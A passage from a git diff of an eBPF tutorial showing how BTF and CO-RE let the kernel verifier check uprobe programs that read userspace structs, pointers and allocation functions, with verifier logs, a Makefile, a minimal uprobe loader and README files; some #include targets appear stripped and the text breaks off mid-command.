from the DWARF information. +2. The psudo ufunc information if the eBPF program will access the resource allocation and deallocation function of userspace application. + +By reusing the kernel verifier, we can provide: + +1. CO-RE relocation, if the userspace application has different version, and the struct/function type is different. +2. Type checking and variable access checking for the userspace extension. +3. Memory access checking for the userspace extension, so no need to copy the data. +4. Resource allocation and deallocation function access checking. + +## The BTF format + +The BTF format is a binary format that contains the type information of the progam. + +The based program can be found in the [examples](../examples) directory, they represent the different version of host userspace applications, include: + +- `btf-base`: the base version of `btf-base-complete`, which contain the type information of `struct data` the same as [verify-failed-no-btf/uprobe.bpf.c](verify-failed-no-btf/uprobe.bpf.c). +- `btf-base-new`: the new version of `btf-base`, which contains the type information of `struct data` different from `btf-base` and [verify-failed-btf/uprobe.bpf.c](verify-failed-btf/uprobe.bpf.c). We can use it to test CO-RE relocation. +- `btf-base-complete`: the complete version of `btf-base`, which contains all the types that are used in the eBPF program, and a resource allocation and deallocation function. + +run `make -C ../` in this directory to generate the BTF files. + +## Verify struct data access + +The userspace application has data struct like + +version 1: + +```c +struct data { + int a; + int c; + int d; +}; +``` + +or + +version 2: + +```c +struct data { + int a; + int b; + int c; + int d; +}; +``` + + +### 1.1 Verify failed without BTF for userspace application + +The eBPF program has + +```c +struct data { + int a; + int c; + int d; +}; + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int a = 0, c = 0; + bpf_probe_read_user(&a, sizeof(a), &d->a); + bpf_probe_read_user(&c, sizeof(c), &d->c); + bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); + return a + c; +} +``` + +If no BTF for userspace application is provided, the verification will fail. + +```console +$ sudo ./verify-failed-no-btf/uprobe ../examples/btf-base + +libbpf: prog 'add_test': -- BEGIN PROG LOAD LOG -- +0: R1=ctx() R10=fp0 +; int BPF_UPROBE(add_test, struct data *d) @ uprobe.bpf.c:23 +0: (79) r6 = *(u64 *)(r1 +112) ; R1=ctx() R6_w=scalar() +1: (b7) r7 = 0 ; R7_w=0 +; int a = 0, c = 0; @ uprobe.bpf.c:25 +2: (63) *(u32 *)(r10 -4) = r7 ; R7_w=0 R10=fp0 fp-8=0000???? +3: (63) *(u32 *)(r10 -8) = r7 ; R7_w=0 R10=fp0 fp-8=00000 +4: +failed to resolve CO-RE relocation [17] struct data.a (0:0 @ offset 0) +processed 5 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0 +-- END PROG LOAD LOG -- +libbpf: prog 'add_test': failed to load: -22 +libbpf: failed to load object 'uprobe_bpf' +libbpf: failed to load BPF skeleton 'uprobe_bpf': -22 +Failed to load and verify BPF skeleton +``` + +### 1.2 Verify success with BTF for struct access and relocation + +See [../README.md](../README.md) for more details. + +```console +$ sudo ./verify-failed-no-btf/uprobe ../examples/btf-base ../target-base.btf + +libbpf: prog 'add_test': relo #0: [2] struct pt_regs.di (0:14 @ offset 112) +libbpf: prog 'add_test': relo #0: matching candidate #0 [88] struct pt_regs.di (0:14 @ offset 112) +libbpf: prog 'add_test': relo #0: patched insn #0 (LDX/ST/STX) off 112 -> 112 +libbpf: CO-RE relocating [17] struct data: found target candidate [143229] struct data in [vmlinux] +libbpf: prog 'add_test': relo #1: [17] struct data.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #1: matching candidate #0 [143229] struct data.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0 +libbpf: prog 'add_test': relo #2: [17] struct data.c (0:1 @ offset 4) +libbpf: prog 'add_test': relo #2: matching candidate #0 [143229] struct data.c (0:1 @ offset 4) +libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 4 +libbpf: map '.rodata.str1.1': created successfully, fd=3 +libbpf: elf: symbol address match for 'add_test' in '../examples/btf-base': 0x1140 +Successfully started! Press Ctrl+C to stop. +``` + +It can successfully find the type information of `struct data` in the BTF file and perform the verification. + +### 1.3 Verify failed with invalid userspace struct var access + +The eBPF program is: + +```c +struct data { + int a; + int e; + int d; +}; + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int a = 0, e = 0; + bpf_probe_read_user(&a, sizeof(a), &d->a); + bpf_probe_read_user(&e, sizeof(e), &d->e); + bpf_printk("add_test(&d) %d + %d = %d\n", a, e, a + e); + return a + e; +} +``` + +If the extension (BPF program) access the invalid userspace struct variable, the verification will fail. + +## Verify memory pointer access + +See [verify-memory-access](verify-memory-access) directory. + +The data struct is: + +```c +struct deep_memory_block { + int a; + char b[10]; +}; + +struct inner_memory_block { + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data { + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; +``` + +This include a deep memory access through pointers. + +### Memory access success for inner data structs without deep copy + +The eBPF program is: + +```c +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int inner_deep_a = BPF_CORE_READ_USER(d, inner, deep, a); + bpf_printk("inner_deep_a = %d\n", inner_deep_a); + char* inner_deep_b = BPF_CORE_READ_USER(d, inner, deep, b); + bpf_printk("inner_deep_b[9] = %c\n", inner_deep_b[9]); + return 0; +} +``` + +Run it: + +```sh +$ sudo ./verify-memory-access/uprobe ../examples/btf-base-complete ../target-base-complete.btf + +libbpf: sec 'uprobe/examples/btf-base:add_test': found 7 CO-RE relocations +libbpf: CO-RE relocating [2] struct pt_regs: found target candidate [88] struct pt_regs in [vmlinux] +libbpf: prog 'add_test': relo #0: [2] struct pt_regs.di (0:14 @ offset 112) +libbpf: prog 'add_test': relo #0: matching candidate #0 [88] struct pt_regs.di (0:14 @ offset 112) +libbpf: prog 'add_test': relo #0: patched insn #0 (LDX/ST/STX) off 112 -> 112 +libbpf: CO-RE relocating [17] struct data: found target candidate [143228] struct data in [vmlinux] +libbpf: prog 'add_test': relo #1: [17] struct data.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #1: matching candidate #0 [143228] struct data.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0 +libbpf: prog 'add_test': relo #2: [17] struct data.c (0:2 @ offset 8) +libbpf: prog 'add_test': relo #2: matching candidate #0 [143228] struct data.c (0:2 @ offset 8) +libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 8 -> 8 +libbpf: prog 'add_test': relo #3: [17] struct data.inner (0:4 @ offset 16) +libbpf: prog 'add_test': relo #3: matching candidate #0 [143228] struct data.inner (0:4 @ offset 16) +libbpf: prog 'add_test': relo #3: patched insn #38 (ALU/ALU64) imm 16 -> 16 +libbpf: CO-RE relocating [19] struct inner_memory_block: found target candidate [143231] struct inner_memory_block in [vmlinux] +libbpf: prog 'add_test': relo #4: [19] struct inner_memory_block.deep (0:2 @ offset 16) +libbpf: prog 'add_test': relo #4: matching candidate #0 [143231] struct inner_memory_block.deep (0:2 @ offset 16) +libbpf: prog 'add_test': relo #4: patched insn #46 (ALU/ALU64) imm 16 -> 16 +libbpf: CO-RE relocating [24] struct deep_memory_block: found target candidate [143234] struct deep_memory_block in [vmlinux] +libbpf: prog 'add_test': relo #5: [24] struct deep_memory_block.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #5: matching candidate #0 [143234] struct deep_memory_block.a (0:0 @ offset 0) +libbpf: prog 'add_test': relo #5: patched insn #52 (ALU/ALU64) imm 0 -> 0 +libbpf: prog 'add_test': relo #6: [24] struct deep_memory_block.b (0:1 @ offset 4) +libbpf: prog 'add_test': relo #6: matching candidate #0 [143234] struct deep_memory_block.b (0:1 @ offset 4) +libbpf: prog 'add_test': relo #6: patched insn #84 (ALU/ALU64) imm 4 -> 4 +libbpf: map '.rodata.str1.1': created successfully, fd=3 +libbpf: elf: symbol address match for 'add_test' in '../examples/btf-base-complete': 0x1160 +Successfully started! Press Ctrl+C to stop. +``` + +### Memory access failed for inner data structs because of out of bounds + +If we change the eBPF program to access the memory out of bounds, the verification will fail. + +```c +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int inner_deep_a = BPF_CORE_READ_USER(d, inner, deep, a); + bpf_printk("inner_deep_a = %d\n", inner_deep_a); + char* inner_deep_b = BPF_CORE_READ_USER(d, inner, deep, b); + // memory access out of bounds + bpf_printk("inner_deep_b[11] = %c\n", inner_deep_b[100]); + return 0; +} +``` + +test: + +```c +$ sudo ./verify-memory-access/uprobe_failed ../examples/btf-base-complete ../target-base-complete.btf +... +; bpf_printk("inner_deep_b[11] = %c\n", inner_deep_b[100]); @ uprobe_failed.bpf.c:44 +57: (6b) *(u16 *)(r10 -12) = r1 ; R1_w=2659 R10=fp0 fp-16=??mm?mmm +58: (b7) r1 = 622869792 ; R1_w=0x25203d20 +59: (63) *(u32 *)(r10 -16) = r1 ; R1_w=0x25203d20 R10=fp0 fp-16=??mm0x25203d20 +60: (18) r1 = 0x5d31315b625f7065 ; R1_w=0x5d31315b625f7065 +62: (7b) *(u64 *)(r10 -24) = r1 ; R1_w=0x5d31315b625f7065 R10=fp0 fp-24_w=0x5d31315b625f7065 +63: (7b) *(u64 *)(r10 -32) = r8 ; R8=0x65645f72656e6e69 R10=fp0 fp-32_w=0x65645f72656e6e69 +64: (73) *(u8 *)(r10 -10) = r9 ; R9=0 R10=fp0 fp-16=?0mmmmmm +65: (71) r3 = *(u8 *)(r10 +68) +invalid read from stack R10 off=68 size=1 +processed 63 insns (limit 1000000) max_states_per_insn 0 total_states 3 peak_states 3 mark_read 2 +-- END PROG LOAD LOG -- +libbpf: prog 'add_test': failed to load: -13 +libbpf: failed to load object 'uprobe_failed_bpf' +libbpf: failed to load BPF skeleton 'uprobe_failed_bpf': -13 +Failed to load and verify BPF skeleton +``` + +## Verify resource allocation and deallocation with psudo ufuncs + +See [verify-resource-allocation](verify-resource-allocation) directory. + +First, give kernel the psudo ufunc information through the kernel module: + +```sh +cd module +make +sudo insmod hello.ko +``` + +Check the kernel output: + +```sh +$ sudo dmesg | tail +[83824.574456] Hello, world! +[83824.574952] bpf_kfunc_example: Module loaded successfully +``` + +The psudo ufunc information is like: + +```c +__bpf_kfunc struct data *my_alloc_data(void) +{ + // here we only use it for verification + return NULL; +} + +__bpf_kfunc void my_free_data(struct data *d) +{ + // here we only use it for verification + return; +} +/*Auto generated code end*/ + +__bpf_kfunc_end_defs(); + +BTF_KFUNCS_START(bpf_kfunc_example_ids_set) +BTF_ID_FLAGS(func, my_alloc_data, KF_ACQUIRE | KF_RET_NULL) +BTF_ID_FLAGS(func, my_free_data, KF_RELEASE) +BTF_KFUNCS_END(bpf_kfunc_example_ids_set) +``` + +Note in previous approach, we just use the BTF information of userspace program to verify the eBPF program, so we don't need a additional kernel module. In this case, the kernel may try to link the psudo kfunc to the eBPF program. If it don't have a implementation in the module, the verification will fail. + +And this can only be run in userspace, since run it in kernel is meaningless(The "ufunc" is just a placeholder kfunc, don't have a implementation in the kernel). + +### Verify resource allocation and deallocation success with psudo ufunc information + +The eBPF progam is like: + +```c +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + struct data *alloced = my_alloc_data(); + if (alloced == NULL) { + bpf_printk("Failed to allocate data\n"); + return 0; + } + my_free_data(alloced); + return 0; +} +``` + +Then you can run it successfuly: + +```console +$ sudo ./verify-resource-allocation/uprobe ../examples/btf-base-complete ../target-base-complete.btf + +libbpf: loaded kernel BTF from '/sys/kernel/btf/vmlinux' +libbpf: extern (func ksym) 'my_alloc_data': resolved to hello [143233] +libbpf: extern (func ksym) 'my_free_data': resolved to hello [143235] +libbpf: map '.rodata.str1.1': created successfully, fd=3 +libbpf: elf: symbol address match for 'add_test' in '../examples/btf-base-complete': 0x1160 +Successfully started! Press Ctrl+C to stop. +``` + +### Verify resource allocation and deallocation failed + +If don't release resource allocated by userspace application, the verification will fail. + +code: + +```c +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + struct data *alloced = my_alloc_data(); + if (alloced == NULL) { + bpf_printk("Failed to allocate data\n"); + return 0; + } + return 0; +} +``` + +run it: + +```console +$ sudo ./verify-resource-allocation/uprobe_failed ../examples/btf-base-complete ../target-base-complete.btf + +0: R1=ctx() R10=fp0 +; struct data *alloced = my_alloc_data(); @ uprobe_failed.bpf.c:43 +0: (85) call my_alloc_data#143233 ; R0_w=ptr_or_null_data(id=2,ref_obj_id=2) refs=2 +; if (alloced == NULL) { @ uprobe_failed.bpf.c:44 +1: (55) if r0 != 0x0 goto pc+15 17: R0_w=ptr_data(ref_obj_id=2) R10=fp0 refs=2 +17: (b7) r0 = 0 ; R0_w=0 refs=2 +18: (95) exit +Unreleased reference id=2 alloc_insn=0 +processed 18 insns (limit 1000000) max_states_per_insn 1 total_states 1 peak_states 1 mark_read 0 +-- END PROG LOAD LOG -- +libbpf: prog 'add_test': failed to load: -22 +libbpf: failed to load object 'uprobe_failed_bpf' +libbpf: failed to load BPF skeleton 'uprobe_failed_bpf': -22 +Failed to load and verify BPF skeleton +``` + +Or if you don't check the return value of `my_alloc_data`, the verification will also fail, like: + +```c +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + struct data *alloced = my_alloc_data(); + + my_free_data(alloced); + return 0; +} +``` + +run it: + +```console +$ sudo ./verify-resource-allocation/uprobe ../examples/btf-base-complete ../target-base-complete.btf + +libbpf: loaded kernel BTF from '/sys/kernel/btf/vmlinux' +libbpf: extern (func ksym) 'my_alloc_data': resolved to hello [143233] +libbpf: extern (func ksym) 'my_free_data': resolved to hello [143235] +libbpf: prog 'add_test': BPF program load failed: Permission denied +libbpf: prog 'add_test': -- BEGIN PROG LOAD LOG -- +0: R1=ctx() R10=fp0 +; struct data *alloced = my_alloc_data(); @ uprobe.bpf.c:43 +0: (85) call my_alloc_data#143233 ; R0_w=ptr_or_null_data(id=2,ref_obj_id=2) refs=2 +; my_free_data(alloced); @ uprobe.bpf.c:45 +1: (bf) r1 = r0 ; R0_w=ptr_or_null_data(id=2,ref_obj_id=2) R1_w=ptr_or_null_data(id=2,ref_obj_id=2) refs=2 +2: (85) call my_free_data#143235 +Possibly NULL pointer passed to trusted arg0 +processed 3 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0 +-- END PROG LOAD LOG -- +libbpf: prog 'add_test': failed to load: -13 +libbpf: failed to load object 'uprobe_bpf' +libbpf: failed to load BPF skeleton 'uprobe_bpf': -13 +Failed to load and verify BPF skeleton +``` + +### Run ufunc in userspace + +Since it's meaningless to run ufunc in kernel, so we can only run it in userspace. + +load eBPF program with ufunc: + +```sh +LD_PRELOAD=/home/yunwei37/.bpftime/libbpftime-syscall-server.so ./verify-resource-allocation/uprobe ../examples/btf-base-complete ../target-base-complete.btf +``` + +And run the userspace program: + +```console +# LD_PRELOAD=/home/yunwei37/.bpftime/libbpftime-agent.so ../examples/btf-base-complete + +my_alloc_data +my_free_data +``` + diff --git a/src/38-btf-uprobe/test-verify/minimal/.gitignore b/src/38-btf-uprobe/test-verify/minimal/.gitignore new file mode 100644 index 00000000..ce7d5eb6 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/minimal/.gitignore @@ -0,0 +1,14 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +uprobe +.output +test +victim +uprobe-override +syscall +ufilter diff --git a/src/38-btf-uprobe/test-verify/minimal/Makefile b/src/38-btf-uprobe/test-verify/minimal/Makefile new file mode 100644 index 00000000..4ffe9320 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/minimal/Makefile @@ -0,0 +1,144 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = uprobe # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) victim + +victim: + $(Q)$(CC) $(CFLAGS) victim.c -o victim + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/38-btf-uprobe/test-verify/minimal/README.txt b/src/38-btf-uprobe/test-verify/minimal/README.txt new file mode 100644 index 00000000..528a4756 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/minimal/README.txt @@ -0,0 +1,125 @@ +# minimal examples + +- `uprobe/uretprobe`: trace userspace functions at start or and. No affect the control flow. +- `uprobe-override`: replace the userspace function with a eBPF function + +You can use `bpf_override_return` to change the control flow and return value of the function. + +```c +/* + * bpf_override_return + * + * Used for error injection, this helper uses kprobes to override + * the return value of the probed function, and to set it to *rc*. + * The first argument is the context *regs* on which the kprobe + * works. + * + * This helper works by setting the PC (program counter) + * to an override function which is run in place of the original + * probed function. This means the probed function is not run at + * all. The replacement function just returns with the required + * value. + * + * This helper has security implications, and thus is subject to + * restrictions. It is only available if the kernel was compiled + * with the **CONFIG_BPF_KPROBE_OVERRIDE** configuration + * option, and in this case it only works on functions tagged with + * **ALLOW_ERROR_INJECTION** in the kernel code. + * + * Also, the helper is only available for the architectures having + * the CONFIG_FUNCTION_ERROR_INJECTION option. As of this writing, + * x86 architecture is the only one to support this feature. + * + * Returns + * 0 + */ +static long (*bpf_override_return)(struct pt_regs *regs, __u64 rc) = (void *) 58; +``` + +## uprobe trace + +This code is a BPF (Berkeley Packet Filter) program written in C, often used for tracing and monitoring activities in the Linux kernel. BPF allows you to run custom programs within the kernel without modifying its source code. The code you provided creates a BPF program that uses a BPF map to count the number of times the `uprobe` function is called within a specified cgroup. + +```c +#include +#include +#include "bits.bpf.h" +#include "maps.bpf.h" + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 1024); + __type(key, u64); + __type(value, u64); +} libc_uprobe_calls_total SEC(".maps"); + +SEC("uprobe/libc.so.6:uprobe") +int do_count(struct pt_regs *ctx) +{ + u64 cgroup_id = bpf_get_current_cgroup_id(); + + increment_map(&libc_uprobe_calls_total, &cgroup_id, 1); + + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +from + +Here's a breakdown of the code: + +1. **Headers Inclusion**: + - ``: Provides access to kernel data structures and definitions. + - ``: Includes helper functions and macros for BPF programs. + - `"bits.bpf.h"`: Custom header file (assumed to contain additional definitions). + - `"maps.bpf.h"`: Custom header file (assumed to contain definitions related to BPF maps). + +2. **Definition of BPF Map**: + The code defines a BPF map named `libc_uprobe_calls_total` using the `struct` syntax. This map is of type `BPF_MAP_TYPE_HASH` (hash map) with a maximum of 1024 entries. The keys and values are of type `u64` (unsigned 64-bit integer). + +3. **Map Definition Attributes**: + The attributes specified within the map definition (`__uint`, `__type`) set properties of the map, such as its type, maximum number of entries, and types of keys and values. + +4. **BPF Program**: + - The program is associated with a `uprobe` on the `uprobe` function in the `libc.so.6` library. + - The `do_count` function is executed when the `uprobe` function is called. + - It retrieves the current cgroup ID using `bpf_get_current_cgroup_id()`. + - Then, it increments the `libc_uprobe_calls_total` map with the cgroup ID as the key and increments the associated value by 1. + +5. **License Information**: + The `LICENSE[]` array contains the license information for the BPF program. In this case, the program is licensed under the GPL (GNU General Public License). + +The purpose of this BPF program is to track and count the number of `uprobe` calls that occur within specific cgroups in the Linux kernel. It uses a BPF hash map to store and update the counts. This can be useful for monitoring memory allocation patterns and resource usage within different cgroups. + +### how to run uprobe + +server + +```console +example/minimal# LD_PRELOAD=~/.bpftime/libbpftime-syscall-server.so ./uprobe +``` + +client + +```console +example/minimal# LD_PRELOAD=~/.bpftime/libbpftime-agent.so ./victim +``` + +## Syscall + +### how to run syscall + +server + +```sh +LD_PRELOAD=~/.bpftime/libbpftime-syscall-server.so ./syscall +``` + +client + +```sh +sudo ~/.bpftime/bpftime start -s ./victim +# or AGENT_SO=build/runtime/agent/libbpftime-agent.so LD_PRELOAD=build/attach/text_segment_transformer/libbpftime-agent-transformer.so ./victim +``` diff --git a/src/38-btf-uprobe/test-verify/minimal/uprobe.bpf.c b/src/38-btf-uprobe/test-verify/minimal/uprobe.bpf.c new file mode 100644 index 00000000..35f2a8d3 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/minimal/uprobe.bpf.c @@ -0,0 +1,13 @@ +#define BPF_NO_GLOBAL_DATA +#include +#include +#include + +SEC("uprobe/./victim:target_func") +int do_uprobe_trace(struct pt_regs *ctx) +{ + bpf_printk("target_func called.\n"); + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; \ No newline at end of file diff --git a/src/38-btf-uprobe/test-verify/minimal/uprobe.c b/src/38-btf-uprobe/test-verify/minimal/uprobe.c new file mode 100644 index 00000000..3d439b5c --- /dev/null +++ b/src/38-btf-uprobe/test-verify/minimal/uprobe.c @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe.skel.h" +#include + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_bpf *skel; + int err; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + int attach = uprobe_bpf__attach(skel); + if (attach) { + fprintf(stderr, "Failed to attach BPF skeleton\n"); + err = -1; + goto cleanup; + } + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/38-btf-uprobe/test-verify/minimal/victim.c b/src/38-btf-uprobe/test-verify/minimal/victim.c new file mode 100644 index 00000000..1821ab1d --- /dev/null +++ b/src/38-btf-uprobe/test-verify/minimal/victim.c @@ -0,0 +1,19 @@ +#include +#include +#include +#include + +int target_func() { + int res = open("/dev/null", O_RDONLY); + printf("target_func\n"); + close(res); + return 0; +} + +int main(int argc, char *argv[]) { + while(1) { + sleep(1); + target_func(); + } + return 0; +} diff --git a/src/38-btf-uprobe/test-verify/module/.gitignore b/src/38-btf-uprobe/test-verify/module/.gitignore new file mode 100644 index 00000000..9523173a --- /dev/null +++ b/src/38-btf-uprobe/test-verify/module/.gitignore @@ -0,0 +1,23 @@ +# Ignore object files and kernel modules +*.o +*.ko +*.mod +*.mod.c +*.symvers +*.order + +# Ignore temporary and backup files +*~ +*.bak +*.tmp +*.swp + +# Ignore build directory if generated +/Module.symvers +/Modules.markers +/Module.markers +/modules.order + +# Ignore other automatically generated files +*.cmd +.tmp_versions/ diff --git a/src/38-btf-uprobe/test-verify/module/Makefile b/src/38-btf-uprobe/test-verify/module/Makefile new file mode 100644 index 00000000..44afa319 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/module/Makefile @@ -0,0 +1,11 @@ +obj-m += hello.o # hello.o is the target + +# Enable BTF generation +KBUILD_CFLAGS += -g -O2 + +all: + # Compile the module with BTF information + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/src/38-btf-uprobe/test-verify/module/README.txt b/src/38-btf-uprobe/test-verify/module/README.txt new file mode 100644 index 00000000..d2dfadad --- /dev/null +++ b/src/38-btf-uprobe/test-verify/module/README.txt @@ -0,0 +1,134 @@ +# write a basic kernel module + +## hello world + +Writing a Linux kernel module involves creating code that can be loaded into and unloaded from the kernel dynamically, without rebooting the system. Here’s a simple step-by-step guide to help you write a basic kernel module: + +### 1. Set Up Your Environment + +Make sure you have the Linux kernel headers installed and a suitable development environment ready. For Ubuntu or Debian, install them with: + +```bash +sudo 